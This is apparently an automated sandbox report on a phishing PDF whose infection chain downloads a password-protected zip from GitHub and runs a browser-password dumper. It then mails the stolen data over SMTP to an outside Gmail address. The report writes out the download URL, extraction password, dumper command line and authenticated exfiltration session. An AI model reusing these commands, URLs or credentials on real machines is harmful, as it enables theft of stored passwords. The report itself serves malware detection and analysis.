80 84 76 41 cb 7b 2e bd 6d 73 Data Ascii: PNGIHDR szzIDATXkSAgnn$Z[/\|R.QWR,;]h7"n+nAm(dqQJAbF.f8\|\|oUUcbgRF8#5&@pl8ZN]4*.N42UlgLV\6@pSd'5$vA{.ms

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 15, 2025 03:37:06.662805080 CET	587	49758	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:06.669657946 CET	49758	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:06.996196985 CET	587	49758	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:06.996447086 CET	49758	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:37:07.325170994 CET	587	49758	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:37:12.735594034 CET	587	49816	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:12.736368895 CET	49816	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:13.067289114 CET	587	49816	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:13.068805933 CET	49816	587	192.168.2.4	103.211.239.66	AUTH login bm9yZXBseUBncmFiaW5waG9uZS5jb20=
Jan 15, 2025 03:37:13.398561954 CET	587	49816	103.211.239.66	192.168.2.4	334 UGFzc3dvcmQ6
Jan 15, 2025 03:37:13.736016989 CET	587	49816	103.211.239.66	192.168.2.4	235 Authentication succeeded
Jan 15, 2025 03:37:13.737353086 CET	49816	587	192.168.2.4	103.211.239.66	MAIL FROM:<noreply@grabinphone.com>
Jan 15, 2025 03:37:14.085253954 CET	587	49816	103.211.239.66	192.168.2.4	250 OK
Jan 15, 2025 03:37:14.085515022 CET	49816	587	192.168.2.4	103.211.239.66	RCPT TO:<martinsadm6@gmail.com>
Jan 15, 2025 03:37:14.461991072 CET	587	49816	103.211.239.66	192.168.2.4	250 Accepted
Jan 15, 2025 03:37:14.462189913 CET	49816	587	192.168.2.4	103.211.239.66	DATA
Jan 15, 2025 03:37:14.794056892 CET	587	49816	103.211.239.66	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 03:37:15.616969109 CET	587	49816	103.211.239.66	192.168.2.4	250 OK id=1tXtHQ-00H486-C7
Jan 15, 2025 03:37:25.515603065 CET	587	49881	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:25.515891075 CET	49881	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:25.839665890 CET	587	49881	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:25.839879990 CET	49881	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:37:26.166773081 CET	587	49881	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:37:27.647346020 CET	49816	587	192.168.2.4	103.211.239.66	QUIT
Jan 15, 2025 03:37:27.977766991 CET	587	49816	103.211.239.66	192.168.2.4	221 cvsv--elite-mx01 closing connection
Jan 15, 2025 03:37:29.041863918 CET	587	49885	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:29.046268940 CET	49885	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:29.383764029 CET	587	49885	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:29.384088039 CET	49885	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:37:29.724328041 CET	587	49885	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:37:35.863404989 CET	587	49893	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:35.863656044 CET	49893	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:36.186100960 CET	587	49893	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:36.186388969 CET	49893	587	192.168.2.4	103.211.239.66	AUTH login bm9yZXBseUBncmFiaW5waG9uZS5jb20=
Jan 15, 2025 03:37:36.509370089 CET	587	49893	103.211.239.66	192.168.2.4	334 UGFzc3dvcmQ6
Jan 15, 2025 03:37:36.910916090 CET	587	49893	103.211.239.66	192.168.2.4	235 Authentication succeeded
Jan 15, 2025 03:37:36.911148071 CET	49893	587	192.168.2.4	103.211.239.66	MAIL FROM:<noreply@grabinphone.com>
Jan 15, 2025 03:37:37.233474016 CET	587	49893	103.211.239.66	192.168.2.4	250 OK
Jan 15, 2025 03:37:37.233794928 CET	49893	587	192.168.2.4	103.211.239.66	RCPT TO:<martinsadm6@gmail.com>
Jan 15, 2025 03:37:37.596832991 CET	587	49893	103.211.239.66	192.168.2.4	250 Accepted
Jan 15, 2025 03:37:37.597153902 CET	49893	587	192.168.2.4	103.211.239.66	DATA
Jan 15, 2025 03:37:37.925548077 CET	587	49893	103.211.239.66	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 03:37:37.943065882 CET	49893	587	192.168.2.4	103.211.239.66	.
Jan 15, 2025 03:37:38.728288889 CET	587	49893	103.211.239.66	192.168.2.4	250 OK id=1tXtHn-00H48k-GX
Jan 15, 2025 03:37:44.608952999 CET	587	49924	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:44.609138012 CET	49924	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:44.936736107 CET	587	49924	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:44.936969042 CET	49924	587	192.168.2.4	103.211.239.66	AUTH login bm9yZXBseUBncmFiaW5waG9uZS5jb20=
Jan 15, 2025 03:37:45.265113115 CET	587	49924	103.211.239.66	192.168.2.4	334 UGFzc3dvcmQ6
Jan 15, 2025 03:37:45.608686924 CET	587	49924	103.211.239.66	192.168.2.4	235 Authentication succeeded
Jan 15, 2025 03:37:45.609786034 CET	49924	587	192.168.2.4	103.211.239.66	MAIL FROM:<noreply@grabinphone.com>
Jan 15, 2025 03:37:45.937028885 CET	587	49924	103.211.239.66	192.168.2.4	250 OK
Jan 15, 2025 03:37:45.937202930 CET	49924	587	192.168.2.4	103.211.239.66	RCPT TO:<martinsadm6@gmail.com>
Jan 15, 2025 03:37:46.328552961 CET	587	49924	103.211.239.66	192.168.2.4	250 Accepted
Jan 15, 2025 03:37:46.328747988 CET	49924	587	192.168.2.4	103.211.239.66	DATA
Jan 15, 2025 03:37:46.656377077 CET	587	49924	103.211.239.66	192.168.2.4	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 03:37:46.674115896 CET	49924	587	192.168.2.4	103.211.239.66	.
Jan 15, 2025 03:37:47.694458961 CET	587	49924	103.211.239.66	192.168.2.4	250 OK id=1tXtHw-00H491-7i
Jan 15, 2025 03:37:50.730901003 CET	587	49947	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:50.731041908 CET	49947	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:51.220447063 CET	587	49947	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:51.222445011 CET	49947	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:37:51.550477982 CET	587	49947	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:37:58.185760975 CET	587	49975	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:37:58.187952042 CET	49975	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:37:58.517119884 CET	587	49975	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:37:58.519275904 CET	49975	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:37:58.851262093 CET	587	49975	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:38:04.557562113 CET	587	50010	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:38:04.557838917 CET	50010	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:38:04.885555029 CET	587	50010	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:38:04.885713100 CET	50010	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:38:05.216113091 CET	587	50010	103.211.239.66	192.168.2.4	220 TLS go ahead
Jan 15, 2025 03:39:04.269257069 CET	49893	587	192.168.2.4	103.211.239.66	QUIT
Jan 15, 2025 03:39:04.593230963 CET	587	49893	103.211.239.66	192.168.2.4	221 cvsv--elite-mx01 closing connection
Jan 15, 2025 03:39:22.692502975 CET	49924	587	192.168.2.4	103.211.239.66	QUIT
Jan 15, 2025 03:39:23.021864891 CET	587	49924	103.211.239.66	192.168.2.4	221 cvsv--elite-mx01 closing connection
Jan 15, 2025 03:40:22.224621058 CET	587	63740	103.211.239.66	192.168.2.4	220 cvsv--elite-mx01
Jan 15, 2025 03:40:22.224756002 CET	63740	587	192.168.2.4	103.211.239.66	EHLO 287400
Jan 15, 2025 03:40:22.552963972 CET	587	63740	103.211.239.66	192.168.2.4	250-cvsv--elite-mx01 Hello 287400 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 03:40:22.553267956 CET	63740	587	192.168.2.4	103.211.239.66	STARTTLS
Jan 15, 2025 03:40:22.883699894 CET	587	63740	103.211.239.66	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	21:36:30
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Reversed order 24-25.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:36:31
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:36:31
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1668,i,10576032088351442596,11670863866323288615,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:36:55
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://github.com/donmodely2k/poczta.github.io/raw/refs/heads/main/Reversed%20order%2024-25.zip"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:36:56
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2004,i,470050492162983817,17432181948890378544,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:37:01
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\unarchiver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Reversed order 24-25.zip"
Imagebase:	0x90000
File size:	12'800 bytes
MD5 hash:	16FF3CC6CC330A08EED70CBC1D35F5D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	21:37:01
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk" "C:\Users\user\Downloads\Reversed order 24-25.zip"
Imagebase:	0x590000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:37:01
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:37:02
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:37:02
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:37:02
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Imagebase:	0xb10000
File size:	543'744 bytes
MD5 hash:	B7DE28D4862B78D70CC0E6234049B842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000010.00000000.1987744569.0000000000B12000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000010.00000002.3820349183.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe, Author: Joe Security
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	21:37:03
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	21:37:03
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:37:03
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:37:03
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000014.00000002.2024915456.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000014.00000000.2003421936.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: C:\Users\user\Downloads\Chrom.exe, Author: Joe Security
Antivirus matches:	Detection: 81%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:37:04
Start date:	14/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1984,i,1009906333023081742,3972239843307581184,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:37:09
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:37:09
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:37:09
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000018.00000002.2079711793.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000018.00000000.2063373851.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000001C.00000000.2110985328.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000001C.00000002.2458687781.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000024.00000000.2114309389.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000024.00000002.2389516998.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
